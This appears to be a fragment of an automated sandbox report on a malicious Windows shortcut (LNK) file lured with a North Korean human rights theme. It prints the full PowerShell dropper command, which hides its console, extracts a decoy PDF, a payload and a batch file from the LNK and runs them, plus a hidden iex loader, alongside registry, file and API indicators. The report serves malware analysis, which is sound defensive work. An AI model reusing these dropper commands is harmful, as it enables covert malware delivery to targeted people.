(Indicator: "Get-Content"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp")52:T8c9,Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260) Process "powershell.exe" with commandline "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (UID: 00000000-00004464)53:T7d3,Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260)54:T4e9,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp")55:Ted0,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\ADOBE\READER 11.0\READER\ACRORD32.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CSC.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "")56:T825,Dropped file: "UserCache.bin" - Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\UserCache.bin]- [targetUID: 00000000-00007152] Dropped file: "powershell.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00008260] Dropped file: "ModuleAnalysisCache" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00008260] Dropped file: "A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl]- [targetUID: 00000000-00007152] Dropped file: "Annssi.dat" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssi.dat]- [targetUID: 00000000-00007152] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00008260] Dropped file: "Annss.dat" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annss.dat]- [targetUID: 00000000-00007152] Dropped file: "2Q3UZDYZ5HN3J10JZNYD.temp" - Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\2Q3UZDYZ5HN3J10JZNYD.temp]- [targetUID: 00000000-00004464] Dropped file: "addressbook.acrodata" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\addressbook.acrodata]- [targetUID: 00000000-00007152] Dropped file: "48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl]- [targetUID: 00000000-00007152] Dropped file: "0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl]- [targetUID: 00000000-00007152] Dropped file: "CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl]- [targetUID: 00000000-00007152] Dropped file: "Annssk.dat" - Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssk.dat]- [targetUID: 00000000-00007152]57:T4da,"powershell.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "powershell.exe" reads file "C:\Users\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini"58:T9c8,"powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_nahavvdg.pil.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_om3ozpey.25i.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.cmdline" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.out" for deletion "powershell.exe" marked "C:\.lnk" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_kpnutfvp.xdn.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_utjmttdq.cnk.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.cmdline" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.cmdline" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\c2iwyi10\c2iwyi10.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\c2iwyi10\c2iwyi10.err" for deletion59:Ta69,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_nahavvdg.pil.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_om3ozpey.25i.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.0.cs" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3GLI4NJL.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3gli4njl\3gli4njl.out" with delete access "powershell.exe" opened "C:\.lnk" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2Q3UZDYZ5HN3J10JZNYD.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\X0CKCPO4.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.0.cs" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\x0ckcpo4\x0ckcpo4.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3VOXXT4G.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\3voxxt4g\3voxxt4g.0.cs" with delete access5a:T7b1,Commandline contains PowerShell string "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\'+'북한인권 전문가 토론회061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"......." in [Source : powershell.exe]5b:T19e4,Process "cmd.exe" based on artifact "DllImport" (UID: 00000000-00005204, Additional Context: "Add-Type -TypeDefition usg System; usg System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encodg]::UTF8.GetStrg(34) + user32.dll + [System.Text.Encodg]::UTF8.GetStrg(34) + ', SetLastError = true)]public static extern IntPtr FdWw(strg lpClassName, strg lpWwName);[DllImport(' + [System.Text.Encodg]::UTF8.GetStrg(34) + user32.dll + [System.Text.Encodg]::UTF8.GetStrg(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWw(IntPtr hWnd, t nCmdShow); }[User32]::ShowWw([User32]::FdWw([NullStrg]::Value, cmd.exe), 0)if(Get -Location -Match 'System32' -or Get -Location -Match 'Program Files') {Get -Location = 'C:\Users\HAPUBWS\AppData\Local\Temp'}System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x000018FA, [System.IO.SeekOrig]::Beg)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x0000B370, 0, 0x0000B370)sc Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf') byte[] 0x0000B370 -Encodg Byte& Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf')System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000CC6A,[System.IO.SeekOrig]::Beg)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x00000C03, 0, 0x00000C03)sc C:\Users\Public\public.dat byte[] 0x00000C03 -Encodg ByteSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000D86D,[System.IO.SeekOrig]::Beg)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x000000FA, 0, 0x000000FA)sc C:\Users\Public\북한인권 전문가 토론회061223.bat byte[] 0x000000FA -Encodg Byte& C:\Users\Public\북한인권 전문가 토론회061223.batSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Close()remove-item -path Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName -force";"), Process "powershell.exe" based on artifact "DllImport" (UID: 00000000-00008260, Additional Context: "Add-Type -TypeDefinition using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }[User32]::ShowWindow([User32]::FindWindow([NullString]::Value, cmd.exe), 0)if(Get -Location -Match 'System32' -or Get -Location -Match 'Program Files') {Get -Location = 'C:\Users\HAPUBWS\AppData\Local\Temp'}System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x000018FA, [System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x0000B370, 0, 0x0000B370)sc Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf') byte[] 0x0000B370 -Encoding Byte& Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf')System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x00000C03, 0, 0x00000C03)sc C:\Users\Public\public.dat byte[] 0x00000C03 -Encoding ByteSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x000000FA, 0, 0x000000FA)sc C:\Users\Public\북한인권 전문가 토론회061223.bat byte[] 0x000000FA -Encoding Byte& C:\Users\Public\북한인권 전문가 토론회061223.batSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Close()remove-item -path Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName -force;")5c:T40d,"cmd.exe" wrote 00000004 bytes to a remote process 